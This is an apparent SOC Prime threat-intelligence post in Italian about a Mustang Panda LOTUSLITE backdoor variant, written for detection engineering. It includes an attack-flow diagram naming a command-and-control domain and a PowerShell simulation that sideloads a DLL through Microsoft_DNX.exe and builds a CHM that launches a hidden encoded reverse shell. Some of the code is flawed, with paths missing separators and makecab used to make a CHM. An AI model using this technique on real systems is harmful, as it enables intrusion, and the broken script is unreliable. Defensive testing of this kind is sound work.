SOC Prime Bias: Critico

22 Apr 2026 15:58 UTC

Stesso pacchetto, magia diversa: Mustang Panda colpisce il settore bancario indiano e la geopolitica della Corea

Author Photo
SOC Prime Team linkedin icon Segui
Stesso pacchetto, magia diversa: Mustang Panda colpisce il settore bancario indiano e la geopolitica della Corea
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

L’Unità Ricerca sulle Minacce di Acronis ha scoperto una nuova variante del backdoor LOTUSLITE che prende di mira organizzazioni nel settore bancario indiano e individui collegati agli affari diplomatici sudcoreani. Il malware viene distribuito tramite il sideloading di DLL, utilizzando un eseguibile firmato da Microsoft per caricare una libreria dannosa, quindi comunicando con un server di comando e controllo basato su DNS dinamico tramite HTTPS. Basandosi su schemi infrastrutturali e sovrapposizioni di tecniche, i ricercatori hanno attribuito l’attività a Mustang Panda con moderata fiducia.

Indagine

Gli analisti hanno esaminato un file CHM dannoso, un loader basato su JavaScript e un eseguibile Microsoft_DNX.exe firmato che sideloadava una DLL contenente il payload LOTUSLITE. La loro analisi ha rivelato aggiornamenti nelle funzioni esportate, convenzioni di denominazione dei mutex, opzioni della riga di comando, valori magici dei pacchetti e metodi di risoluzione delle API. Il team ha anche collegato l’operazione a precedenti campagne di Mustang Panda tramite domini gestiti da Dynu e infrastrutture IP associate.

Mitigazione

I difensori dovrebbero impedire il caricamento non autorizzato di DLL negli eseguibili firmati da Microsoft, monitorare per i modelli di mutex identificati e per gli argomenti della riga di comando modificati, e applicare controlli rigorosi sul traffico DNS dinamico. I team di sicurezza dovrebbero anche rilevare il valore magico del pacchetto distintivo 0xB2EBCFDF e controllare le modifiche sospette alla chiave Run di HKCU che potrebbero indicare persistenza.

Risposta

Se viene rilevata questa attività, isolare immediatamente il sistema compromesso, terminare il processo dannoso, rimuovere sia la DLL sideloadata che l’eseguibile abusato dal disco. La memoria dovrebbe essere acquisita per l’analisi forense, le credenziali esposte devono essere revocate e i domini di comando e controllo identificati e gli indirizzi IP dovrebbero essere bloccati. Dovrebbe essere effettuata una ricerca più ampia nell’ambiente per individuare gli artefatti di persistenza basati su mutex e registro legati alla campagna.

"graph TB %% Class definitions section classDef action fill:#99ccff classDef file fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef persistence fill:#ccffcc %% Nodes action_initial_access["<b>Azione</b> – <b>T1566.001 Allegato Spearphishing</b><br/>File HTML Compilato di Aiuto (CHM) malevolo inviato tramite email."] class action_initial_access action file_chm["<b>File</b> – <b>Nome</b>: Request_for_Support.chm<br/><b>Tipo</b>: HTML di Aiuto Compilato"] class file_chm file action_user_execution["<b>Azione</b> – <b>T1204.002 Esecuzione Utente</b><br/>La vittima apre il CHM, attivando il JavaScript incorporato."] class action_user_execution action action_obfuscation["<b>Azione</b> – <b>T1027 File o Informazioni Offuscati</b><br/>JavaScript rilascia un eseguibile firmato da Microsoft e una DLL malevola usando ActiveX e HTML nascosto."] class action_obfuscation action file_ms_dnx["<b>File</b> – <b>Nome</b>: Microsoft_DNX.exe<br/><b>Firma</b>: Firmato da Microsoft"] class file_ms_dnx file file_lotuslite["<b>Malware</b> – <b>Nome</b>: Variante DLL LotusLite<br/><b>Tipo</b>: Libreria di Collegamenti Dinamici"] class file_lotuslite malware action_embedded_payloads["<b>Azione</b> – <b>T1027.009 Payload Incorporati</b><br/>Il CHM contiene JavaScript (music.js) che estrae ed esegue la DLL e l’EXE."] class action_embedded_payloads action action_system_binary_proxy["<b>Azione</b> – <b>T1218 Esecuzione Proxy di Binario di Sistema</b><br/>Microsoft_DNX.exe proxy l’esecuzione della DLL malevola tramite LoadLibraryExW."] class action_system_binary_proxy action action_trusted_dev_utilities["<b>Azione</b> – <b>T1127 Esecuzione Proxy di Utilità per Sviluppatori Affidabili</b><br/>Abuso di Microsoft_DNX.exe, uno strumento affidabile del runtime .NET, per far funzionare il backdoor."] class action_trusted_dev_utilities action action_script_proxy["<b>Azione</b> – <b>T1216 Esecuzione Proxy di Script di Sistema</b><br/>JavaScript incorporato agisce come un proxy di script per lanciare l’eseguibile."] class action_script_proxy action action_hijack_execution["<b>Azione</b> – <b>T1574.005 Flusso di Esecuzione Hijackato</b><br/>Sideloading di DLL posizionando la DLL malevola con lo stesso nome nella directory dell’eseguibile."] class action_hijack_execution action action_persistence["<b>Azione</b> – <b>T1547.014 Esecuzione di Avvio o Accesso Automatico</b><br/>Active Setup scrive una chiave Run sotto HKCUSoftwareMicrosoftWindowsCurrentVersionRun."] class action_persistence persistence command_and_control["<b>Comando e Controllo</b><br/>L’impianto contatta il dominio DNS dinamico editor.gleeze.com tramite HTTPS."] class command_and_control process %% Connessioni che mostrano il flusso degli attacchi action_initial_access –>|consegna| file_chm file_chm –>|aperto dalla vittima| action_user_execution action_user_execution –>|attiva| action_obfuscation action_obfuscation –>|rilascia| file_ms_dnx action_obfuscation –>|rilascia| file_lotuslite file_ms_dnx –>|utilizzato in| action_system_binary_proxy file_ms_dnx –>|utilizzato in| action_trusted_dev_utilities action_system_binary_proxy –>|carica| file_lotuslite action_trusted_dev_utilities –>|esegue| file_lotuslite action_user_execution –>|esegue| action_script_proxy action_script_proxy –>|lancia| file_ms_dnx action_obfuscation –>|abilita| action_embedded_payloads action_embedded_payloads –>|fornisce| action_hijack_execution action_hijack_execution –>|facilita| action_persistence action_persistence –>|stabilisce| command_and_control "

Sequenza dell’Attacco

Esecuzione della Simulazione

Pre-requisito: Il Controllo Pre-volo di Telemetria e Linea di Base deve essere passato.

Motivo: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare l’esatta telemetria attesa dalla logica di rilevamento.

  • Narrativa dell’Attacco e Comandi:

    1. Posiziona la DLL malevola:

      • L’attaccante copia una DLL malevola (lotuslite.dll) nella stessa directory dell’autentico eseguibile Microsoft_DNX.exe. Questa DLL contiene il payload del backdoor.
    2. Esegui sideloading della DLL tramite Microsoft_DNX.exe:

      • Lanciando eseguibile Microsoft_DNX.exe senza argomenti, Windows carica per prima la DLL malevola (a causa dell’hijack dell'”ordine di ricerca”), eseguendo il backdoor.
    3. Crea CHM malevolo:

      • Un file CHM (evil.chm) è creato contenente JavaScript che, quando reso, lancia una shell inversa PowerShell.
    4. Attiva JavaScript tramite hh.exe:

      • L’attaccante esegue hh.exe evil.chm, facendo sì che l’eseguibile di Aiuto HTML interpreti il CHM ed esegua lo script incorporato, raggiungendo l’esecuzione di codice sotto un binario firmato.

    Questa sequenza genera due eventi Sysmon Process Create distinti che soddisfano le condizioni della regola di rilevamento.

  • Script di Test di Regressione:

    # -------------------------------------------------------------------------
    # Simulazione LotusLite – DLL sideloading + hh.exe esecuzione CHM
    # -------------------------------------------------------------------------
    # Pre-requisiti:
    #   - Sysmon installato e inoltro log.
    #   - Privilegi di amministratore (necessari per scrivere in Programmi).
    
    $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
    $dnxDir  = Split-Path $dnxPath -Parent
    
    # 1. Distribuisci poayload DLL malevolo (payload simulato)
    $malDllSource = "C:Templotuslite.dll"      # <-- sostituire con percorso reale payload
    $malDllDest   = Join-Path $dnxDir "lotuslite.dll"
    Copy-Item -Path $malDllSource -Destination $malDllDest -Force
    
    # 2. Lancia Microsoft_DNX.exe per attivare sideloading della DLL
    Write-Host "[*] Lanciando Microsoft_DNX.exe per sideloading della DLL..."
    Start-Process -FilePath $dnxPath -WindowStyle Hidden
    
    # 3. Crea CHM malevolo contenente JavaScript (esempio semplificato)
    $chmPath = "C:Tempevil.chm"
    $htmlContent = @"
    <HTML><HEAD>
    <SCRIPT language=`"JScript`">
    var shell = new ActiveXObject("WScript.Shell");
    shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0);
    </SCRIPT>
    </HEAD><BODY></BODY></HTML>
    "@
    
    $tempHtml = "C:Tempevil.html"
    $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII
    
    # Utilizzare makecab per incapsulare l'HTML in un CHM (richiede strumenti SDK Windows)
    $makeCab = "$env:WINDIRsystem32makecab.exe"
    & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath
    
    # 4. Esegui il CHM tramite hh.exe
    Write-Host "[*] Lanciando hh.exe su CHM malevolo..."
    Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden
    
    # Rimuovi file temporanei (mantieni DLL malevola per analisi post-esecuzione)
    Remove-Item $tempHtml -Force
    Write-Host "[*] Simulazione completa."
  • Comandi di Ripristino:

    # -------------------------------------------------------------------------
    # Ripristino per Simulazione LotusLite
    # -------------------------------------------------------------------------
    $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
    $dnxDir  = Split-Path $dnxPath -Parent
    $malDllDest = Join-Path $dnxDir "lotuslite.dll"
    $chmPath = "C:Tempevil.chm"
    
    # Rimuovi DLL malevola
    if (Test-Path $malDllDest) {
        Remove-Item $malDllDest -Force
        Write-Host "[*] Rimossa DLL malevola."
    }
    
    # Rimuovi CHM
    if (Test-Path $chmPath) {
        Remove-Item $chmPath -Force
        Write-Host "[*] Rimosso CHM malevolo."
    }
    
    # Termina eventuali processi residui (se presenti)
    Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force
    Write-Host "[*] Ripristino completato."